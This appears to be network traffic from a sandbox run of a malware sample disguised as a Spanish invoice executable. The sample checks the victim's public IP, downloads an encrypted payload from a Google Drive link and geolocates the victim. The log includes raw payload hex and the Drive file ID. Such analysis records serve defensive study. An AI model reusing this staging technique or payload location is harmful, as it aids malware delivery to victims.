Oct 30, 2024 14:19:35.770494938 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 14:19:36.696620941 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:36 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49919	132.226.8.169	80	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 14:19:37.490928888 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 14:19:38.410290003 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:38 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49931	132.226.8.169	80	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 14:19:39.169208050 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 14:19:40.088294983 CET	275	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:39 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49802	216.58.206.46	443	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 13:19:19 UTC	216	OUT	GET /uc?export=download&id=1oJw8WIUYqUxWmFwtYXemvm2bVtwDyPlb HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-10-30 13:19:19 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 30 Oct 2024 13:19:19 GMT Location: https://drive.usercontent.google.com/download?id=1oJw8WIUYqUxWmFwtYXemvm2bVtwDyPlb&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-gGAgG6Y2x1noQoXeshWhPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49809	142.250.185.193	443	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 13:19:20 UTC	258	OUT	GET /download?id=1oJw8WIUYqUxWmFwtYXemvm2bVtwDyPlb&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-30 13:19:23 UTC	4913	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="NIEDlFWmrmrp71.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 275008 Last-Modified: Sun, 27 Oct 2024 21:00:22 GMT X-GUploader-UploadID: AHmUCY0qHKdKPj-9HeLKTfwq-yevzqpdkPGWNYQIlSdBolmq8Ey_MrDumVgZEJRJj6iamLzEnq8 Date: Wed, 30 Oct 2024 13:19:23 GMT Expires: Wed, 30 Oct 2024 13:19:23 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=SqKlag== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 13:19:23 UTC	4913	IN	Data Raw: d2 56 3f 41 cf 1b f2 50 b4 f9 c5 f5 6f 27 41 b1 73 07 94 7c 7b 5d 71 db 8f 09 6b 46 87 7c 16 73 14 34 09 b2 8c c5 54 4c ac 17 73 51 96 2f 97 73 91 05 37 49 88 ab 9e ee b5 32 c7 52 2c 3e c7 e6 07 86 8f 5c e1 43 50 66 67 e5 05 8b 2b ac 9f c0 ff e6 67 f4 1c 39 ad f5 1f ef 84 dc b3 b2 53 16 b0 55 f2 dc 78 f8 29 74 c4 f2 46 cc 8c a3 87 9e 13 6a 49 77 f2 47 34 63 0c 00 65 28 de 3b 04 75 76 4f eb 47 a3 a1 6d 2b 52 71 3f c1 79 0c 50 13 12 3d 00 54 3c 66 76 9e 22 ee f6 db 71 4a 73 7d 1a c1 54 81 32 7a 62 41 ac 47 c3 3e b5 1a 55 55 5d a9 2e 2e e6 a2 a5 f7 9a 4c bd 33 5d 8e ec dc 8a 49 a6 da 2e 96 9e 7b ca c2 31 12 23 09 60 c9 41 0e 93 03 a5 a8 09 48 e9 e2 f1 af da a9 86 d9 c9 f6 48 cb 4d 97 1a cc d8 35 bd 32 ba 96 40 b6 cd 02 2e d3 fb 7e 39 05 ef 17 20 ea fc 49 70 Data Ascii: V?APo'As\|{]qkF\|s4TLsQ/s7I2R,>\CPfg+g9SUx)tFjIwG4ce(;uvOGm+Rq?yP=T<fv"qJs}T2zbAG>UU]..L3]I.{1#`AHHM52@.~9 Ip
2024-10-30 13:19:23 UTC	4873	IN	Data Raw: 93 a5 89 0e 33 61 f2 82 be 71 f6 37 2d f6 2f 17 31 b1 05 0c fd f8 20 7a ac 61 f6 cb ae 61 68 95 3f 42 f5 6e 71 b9 9a 07 66 1a bd 6d c8 b4 64 0c 18 11 2e 04 d9 ab 4d 2a 76 0c b4 50 ac 58 92 a9 0f 55 f4 05 dd 98 a2 a0 d9 1a ac 51 80 3d 67 d3 85 a7 d9 14 a3 31 f9 08 41 38 d6 69 16 e3 08 35 51 65 82 da 8a bf c4 b5 ec 46 29 bd ca 8b 0c c0 2a dc f1 d4 a9 27 0a 4a 36 84 48 c7 93 5b 06 87 9b d6 ca 24 dd ad a0 b8 34 51 a2 bb 14 fa 02 ac 59 b9 55 76 0f 54 06 60 3d 93 94 5d 3f e7 4e cc eb 69 9b 58 5b c3 2a b0 99 84 18 b4 5b 27 d6 07 e4 24 43 fc 66 41 8b 52 1f 42 fa 1d 09 e7 d4 4b 5d 8b 26 40 97 28 94 fb a4 a4 0d 85 86 1f 0b 7f 68 55 83 84 e8 f4 a1 59 2c ee 97 4c b9 c6 ec 13 b6 ce 04 02 73 9c 77 30 ba f2 00 89 eb f8 d6 27 84 c2 96 34 9a e0 4f f7 3c 4f c7 0d c9 a3 68 Data Ascii: 3aq7-/1 zaah?Bnqfmd.MvPXUQ=g1A8i5QeF)'J6H[$4QYUvT`=]?NiX[*['$CfARBK]&@(hUY,Lsw0'4O<Oh
2024-10-30 13:19:23 UTC	1323	IN	Data Raw: 20 86 b6 c7 d2 d4 7a 9f 5b b0 d8 6c 54 2c cd f9 eb c4 ef 62 55 1c 51 7a 1d a0 ce 4d cc 08 42 b6 a6 51 73 1c 78 58 d6 c4 ab 53 82 e6 30 f5 e3 36 c9 e5 ce e4 ce 40 bc c9 b4 ab 9d ae f0 f3 8a f5 4f dd a2 d2 df 54 d5 ff b2 f9 68 2b c7 6a 05 df 0e 5f c6 ac 6c 71 d2 9c a2 74 d9 98 75 10 39 18 27 77 09 17 99 3c 2b 0a 23 f3 4d 3e df 55 8b 33 bc 42 24 16 77 4c 43 52 40 a2 4d 5e 32 e9 50 7a 53 68 8e 19 1f f1 d7 35 64 0f ce cd 5b a4 0c e2 d9 0d af 94 0a 9f dd 27 13 4e d4 2b 21 3a 96 56 03 ef e1 55 c9 6a 1d 4a 36 9c 79 66 59 61 a0 00 24 44 ea 45 96 b0 87 69 ef 61 ef f6 7c 25 e0 e5 cc da 47 67 0b 09 3a 92 32 bc b8 2e 7f 96 6c ef af 55 ee a0 48 67 54 ba 1a dd b1 88 61 ac 5b bc 02 b5 c6 b3 a7 15 bc d1 40 fc 4f a4 ff e4 ff 37 22 ec 9a c4 23 5e 4a eb 37 5a 8e 89 67 53 c4 Data Ascii: z[lT,bUQzMBQsxXS06@OTh+j_lqtu9'w<+#M>U3B$wLCR@M^2PzSh5d['N+!:VUjJ6yfYa$DEia\|%Gg:2.lUHgTa[@O7"#^J7ZgS
2024-10-30 13:19:23 UTC	1378	IN	Data Raw: 12 d2 83 d8 20 c3 22 91 48 38 da 92 7d c6 ee 0e 85 c9 b4 af 2b 75 ec bc f3 fa 49 de c0 f7 c4 20 d7 3e b2 fd c0 0e a8 da 82 d0 04 3c 6c 95 11 0f e8 96 cd 2c aa 5b 7f 03 12 6c 6e 37 09 1d 98 08 35 17 07 e1 4d 44 03 4d 9c 1b 0c 2d e2 1c d5 63 5b 31 1d df ca 3e 90 bc 61 b0 6b 68 84 6f 20 c4 cd 37 7d 57 ce bd f3 e3 be e2 d9 0d bc a7 14 aa 26 67 13 44 d5 2e 37 44 ad 59 2b e8 43 70 d4 42 a9 34 09 96 db 47 50 32 87 00 37 34 38 1e 90 ce bf 6d c7 2c 4d d3 6c 46 bb 94 8c aa e5 46 38 49 10 92 34 b8 c4 1b 46 cc df e0 af 2f 5f ab 3d 4f 36 b0 75 1f 6f 88 6b ac 25 fe 35 b5 c2 c4 1c 80 be db 23 e3 19 14 ff e4 f1 53 49 ef 89 90 24 52 e7 b7 2a dd d8 77 66 41 eb a5 5e 91 17 2d fc b5 12 86 b1 5a e7 82 a2 44 2a 2b 13 ad 8d 62 df 44 37 1c bc 17 17 3b a6 a8 29 cf e8 59 75 a6 cf Data Ascii: "H8}+uI ><l,[ln75MDM-c[1>akho 7}W&gD.7DY+CpB4GP2748m,MlFF8I4F/_=O6uok%5#SI$RwfA^-ZD+bD7;)Yu
2024-10-30 13:19:23 UTC	1378	IN	Data Raw: 71 f0 0a c7 45 3c f6 e6 b8 51 cb c1 8d 11 07 af 8f 02 fc 7b 67 13 4a a6 e3 37 48 a7 4a 04 8e 45 1f 0f 42 a9 40 27 91 b4 90 41 13 ff 0f 5a 08 48 60 8b bd 76 69 ef 6f 5e db 18 66 99 ea c8 d8 70 40 10 07 06 ba b3 b8 1a 01 75 1a ea f3 a6 34 45 a4 31 76 5c a7 1a df b1 88 61 ac 25 ab 09 b5 d3 c8 78 7a 76 db 53 ff 31 95 ee ec 85 7b b7 ee 9e 9c fe 76 cb e1 58 9c 98 77 6c 40 df bb 52 90 18 2d 88 69 0c 91 99 ea 94 3e a8 e6 05 5c ac f8 82 68 af f7 1a 14 c4 40 d9 3b a2 00 0c c4 9c 4f b5 a6 bf fc cb ac 05 68 d4 75 42 2b 7c 54 91 ae 5d 66 10 ae 50 c9 9c 06 9d 19 1b f0 0a d9 ab 4d 54 43 0c b4 56 de cd 90 04 7e 43 dc 9f dd 98 a8 7e 26 1b bf 54 91 36 5e 18 84 a7 d9 6a 88 31 f9 0d 69 d3 d6 be 1d f0 04 93 66 65 82 ce f8 a0 d5 f0 9c 50 00 27 fa 88 06 67 d4 dd e2 ca b8 2a 22 Data Ascii: qE<Q{gJ7HJEB@'AZH`vio^fp@u4E1v\a%xzvS1{vXwl@R-i>\h@;OhuB+\|T]fPMTCV~C~&T6^j1ifeP'g*"
2024-10-30 13:19:23 UTC	1378	IN	Data Raw: 05 b5 c2 e0 6e 15 ad db 2d e9 31 95 fb 8b 15 45 b7 e4 e8 ee 34 76 bb fd 1f d1 98 77 6c 56 30 b0 26 ac 21 8f 8b 17 37 ef aa ee e7 86 da 73 0d 33 11 ee aa e3 af e6 18 13 3c 2e 1c 3c 9b 2e 0d d5 9a 34 aa f3 bf f6 ca ac 4c 68 d4 79 30 ec 7c 71 c9 8d d0 65 1a bd 5b ec a2 1a d9 19 11 2a 22 dd ab 4d 2c 19 b5 b4 52 a6 2a 87 11 0e 25 dc 45 dd 98 a8 16 93 1a ac 5b a8 77 67 d3 8f d9 c6 14 a3 35 d1 43 41 38 dc 1c 03 f7 1c c5 ea 65 82 c0 fe 3c c4 f0 ed 4a 28 ae 88 df 1c 71 5a b3 4a c7 a9 2d 1b 42 48 ee 2b c7 97 2f 4e 80 b3 88 b9 98 d7 ae c5 8b 89 51 a8 de 70 d2 58 a6 59 b4 57 eb c2 0b 06 61 19 ea 83 54 2a ed 3e 69 c9 11 d5 ec 5b c9 27 7d db 9c 6a eb 3b 4f a6 a5 cb 31 3d b7 0f 41 8f fa 29 5c 88 75 02 ef b3 9a 12 90 58 56 84 2d 90 85 4f d7 66 8f 24 30 04 0b 4c 47 81 9b Data Ascii: n-1E4vwlV0&!7s3<.<.4Lhy0\|qe["M,R%E[wg5CA8e<J(qZJ-BH+/NQpXYWaT*>i['}j;O1=A)\uXV-Of$0LG
2024-10-30 13:19:23 UTC	1378	IN	Data Raw: 57 0a d9 a1 5e 30 67 16 c7 fb ac 58 98 17 12 44 e8 71 a6 98 a2 62 cb 07 bd 43 ef 96 67 d3 8f a7 c8 0e cc 9b f9 09 4b 38 c7 a5 78 38 08 ed 5a 65 82 f2 49 bf c4 f0 ec 46 3e 8e 8c 88 0c 7b 2a fc f1 cb a9 27 33 3d 36 ac 21 c7 8f dc 4d 80 b3 8d ef 32 a5 3a c4 e4 44 79 e9 d4 70 fc a0 83 4e c0 0f 66 82 0f a4 45 24 8e 28 4c 3f 9d 66 8b ec 06 fb fa 7e d0 53 99 fe 84 1c 1c 11 55 a4 02 fc 28 33 2d 2a 5a 90 d5 4c 46 fa 0d 28 f9 b1 bf 27 8b 56 e8 a1 3a bc 5e a1 d7 6c 27 a3 0d 6a 06 6c 53 f1 49 a1 ed 89 e7 2c 30 93 ee 8d da b2 7a b5 c8 1b a1 5b e9 7d 30 6c 41 2c 93 86 f8 dc 3e 97 6e 5f 21 8b 95 1d e0 2d 4a ac 24 80 a3 62 8b bf f9 2f 36 09 88 2a bd 83 03 eb ea b7 36 07 74 a3 24 99 61 fc be 34 3d 5d b1 a6 ad c6 04 67 6d f1 bd 39 28 dc 1f 56 3c 43 50 66 63 e5 7b bf d4 53 Data Ascii: W^0gXDqbCgK8x8ZeIF>{'3=6!M2:DypNfE$(L?f~SU(3-ZLF('V:^l'jlSI,0z[}0lA,>n_!-J$b/6*6t$a4=]gm9(V<CPfc{S
2024-10-30 13:19:23 UTC	1378	IN	Data Raw: c9 e7 be 4a 6c 82 0b 01 0f 83 fc f1 57 32 e4 46 dd e4 88 94 37 05 c9 2d d5 fe 8d 77 14 34 4f dc 07 30 24 43 86 23 46 82 37 0d 46 fa 06 0d 33 1d 2b 12 a3 12 4a 84 27 87 ee a1 ff 04 85 86 1f c5 1a 7f 53 81 eb 84 f4 df 61 2c 30 9d 3e 3d c2 c0 6b b1 e0 ea 03 73 96 6b ce 67 f0 01 f7 83 c1 1c 2f 89 1c e6 1b 8b e5 67 8d 4c 5a a8 7c df 8b e3 81 cd 46 2b c8 78 b3 6e ac 85 3c ca f5 a6 22 2f 24 5d 22 a2 61 21 39 46 fd 5d 94 84 b1 07 04 6d 74 ee ce d3 4a dc 15 4f e5 52 57 18 59 e5 05 8f a7 90 9f c0 4d 89 a3 f4 1c 33 ad e4 58 80 41 dc b3 b8 2d 2b b0 55 f6 b3 be f8 29 7e c4 e3 41 be 0b b3 87 ee 3b de 49 77 f8 35 a9 73 0c 70 4d 73 5e 3b 0e 1a bf 50 51 43 a3 04 63 fb fe 89 3e 8d b5 08 12 09 52 58 20 54 ec 2c 06 c4 f7 83 d6 b2 b2 01 05 60 3b ee 36 94 b0 2d 0e 51 b4 2e ad Data Ascii: JlW2F7-w4O0$C#F7F3+J'Sa,0>=kskg/gLZ\|F+xn<"/$]"a!9F]mtJORWYM3XA-+U)~A;Iw5spMs^;PQCc>RX T,`;6-Q.
2024-10-30 13:19:23 UTC	1378	IN	Data Raw: ae a2 d6 2d 83 01 15 74 8b e5 62 da 3b 38 81 1a c9 d3 c0 a4 da 64 89 36 79 aa ca 98 9b 77 af fb a6 52 8d 15 ba 5a a7 61 21 3b 97 18 47 e6 bf 9a c6 74 cf 5b f5 c3 31 4a dc 1b fe c7 5f 22 53 75 e5 75 29 fc 26 9f c0 4d 89 3b f4 1c 33 be d7 44 62 c4 dc b3 b3 76 00 c2 12 e5 dc 08 5a 0c 63 ec 46 46 cc 86 01 a2 86 61 3f 46 77 82 e5 11 7a 72 38 65 28 5a 99 21 6f 0a 61 52 49 d3 b7 4c 93 73 c9 34 9e 97 3b 2c 0d 7b 4e 2a 24 6e 09 1d ec 43 ab a1 b8 10 2e 1d 12 10 de 36 e4 16 19 35 5d eb 39 ad 6e 8f 4a 06 75 34 ee 03 4b c8 a5 b9 de c0 0c bd 33 59 a6 d2 dc da 0a a6 04 72 b2 b5 4f 13 47 ab 67 07 09 48 ab 41 0e 99 dd 45 a8 0b 49 9c d4 a1 af de c7 17 db c9 92 5e e3 cc 97 1a c6 20 f0 b8 21 9f a7 65 9a 91 5f a7 93 fb 7e 78 20 f9 45 09 fc fc 3b d2 f6 49 0a 5d 4f e7 9a 52 64 Data Ascii: -tb;8d6ywRZa!;Gt[1J_"Suu)&M;3DbvZcFFa?Fwzr8e(Z!oaRILs4;,{N*$nC.65]9nJu4K3YrOGgHAEI^ !e_~x E;I]ORd
2024-10-30 13:19:23 UTC	1378	IN	Data Raw: c0 62 c4 82 38 d3 8c a3 83 b6 5a 6a 49 7d 80 4e 25 63 7c 73 b7 28 5e 31 6b a6 78 50 5b 49 dd 29 64 e6 77 ba f7 8d b4 27 17 6a 05 7f 20 24 4a 7b 84 ee 43 f3 c0 90 91 24 1d 18 78 1f 37 f7 00 19 05 03 80 3f bc 09 9e 9f 06 75 3a c6 4a 60 c3 af b9 ec a8 23 77 33 5d 84 ec dc cb 1d d8 e4 62 97 99 53 d8 47 a1 7e 4c c5 60 c9 4b 0e 82 12 3b 92 0b 49 e6 9d 9a af da b1 f1 65 c9 e2 42 a4 80 97 1a c6 36 1f a8 23 b6 d9 8e b6 cd 48 2a c2 f7 11 b6 05 ef 3d 20 34 ec 6e 58 e7 5e 22 e3 5c f4 90 d8 23 80 d7 a7 d8 d7 0f 34 fc 4c a4 43 ac 40 d9 82 9f e6 8d cc 23 37 0c 48 09 b0 e5 95 c1 c8 01 b4 85 7d 40 de 0a 65 94 78 fc 4a 25 19 af 31 95 ec 31 2a d8 6a b2 5f 82 9e 59 33 86 17 c2 95 78 94 d2 a1 e4 53 58 e5 9e 94 03 f9 ea 87 ff 9e 1d 3c 5a 19 f1 c9 0e 18 c7 b9 67 6c 4c 4f 99 25 Data Ascii: b8ZjI}N%c\|s(^1kxP[I)dw'j $J{C$x7?u:J`#w3]bSG~L`K;IeB6#H= 4nX^"\#4LC@#7H}@exJ%11j_Y3xSX<ZglLO%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49846	188.114.97.3	443	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 13:19:26 UTC	87	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-30 13:19:26 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:26 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 42389 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wl%2FGr2c1c1xQs1ICxeamCRqYkeSQLt4YyJ18UWXw90QfVlGiVfzdoT8S1%2BmTWGLgYydNoHxRFtCIE%2BXg%2FQj6IUUVnFgB3M6bBk7UU7v0NSPM7J8c%2Bj5rmAhLd7nHHIf7tr7kb1FH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dabb26f19c4e77d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2298&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1421698&cwnd=251&unsent_bytes=0&cid=cf8349b500c7af03&ts=183&x=0"
2024-10-30 13:19:26 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49852	188.114.97.3	443	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 13:19:27 UTC	63	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-30 13:19:27 UTC	891	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:27 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 42390 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cUKfhcsrC%2BcacLqKQxHJ07qgPVGrQbwVTx%2BPpdxWZcInd1IAwAuEbXwP7Fpkqw2%2BprvmqKh0n%2Bdt%2BRn0kFU4sHlZASNzNiCyzJLogI5wsrzR%2B2NVfeSjaN3AhsoB95buWHx95UM7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dabb275db49e7d7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1584&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=1775597&cwnd=250&unsent_bytes=0&cid=835508579c0564ea&ts=166&x=0"
2024-10-30 13:19:27 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
